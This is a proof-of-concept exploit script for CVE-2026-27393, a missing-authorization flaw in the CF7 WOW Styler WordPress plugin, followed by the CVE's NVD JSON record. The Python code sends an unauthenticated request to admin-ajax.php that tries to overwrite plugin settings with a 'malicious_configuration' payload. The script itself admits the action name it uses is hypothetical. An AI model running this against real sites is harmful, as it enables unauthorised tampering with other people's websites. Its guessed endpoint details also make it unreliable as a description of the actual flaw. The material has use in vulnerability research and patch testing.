CVE-2026-27393

import requests # Exploit Title: CF7 WOW Styler < 1.7.6 - Missing Authorization # Date: 2026-05-21 # Exploit Author: Security Analyst # Vendor Homepage: https://wordpress.org/plugins/cf7-styler/ # Version: <= 1.7.6 # CVE: CVE-2026-27393 def check_vulnerability(target_url): """ Checks for missing authorization vulnerability in CF7 WOW Styler. Attempts to access a restricted endpoint without authentication. """ # Target the admin-ajax.php endpoint commonly used in WP plugins ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Payload attempting to update settings (example action) # Note: The specific action name 'cf7s_save_settings' is hypothetical based on plugin structure payload = { "action": "cf7s_save_settings", "data": "malicious_configuration" } try: response = requests.post(ajax_url, data=payload, timeout=10) if response.status_code == 200: # Check if response indicates success or reflects the change if "success" in response.text or "Settings saved" in response.text: print("[+] Vulnerability confirmed! Settings updated without authentication.") return True else: print("[-] Endpoint reachable but exploit signature not confirmed.") return False else: print(f"[-] Request failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") return False if __name__ == "__main__": target = "http://example.com" # Replace with actual target check_vulnerability(target)

{"cve": {"id": "CVE-2026-27393", "sourceIdentifier": "[email protected]", "published": "2026-05-21T09:16:26.780", "lastModified": "2026-05-21T15:19:30.540", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Tobias CF7 WOW Styler allows Exploiting Incorrectly Configured Access Control Security Levels.\n\nThis issue affects CF7 WOW Styler: from n/a through 1.7.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/plugin/cf7-styler/vulnerability/wordpress-cf7-wow-styler-plugin-1-7-6-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}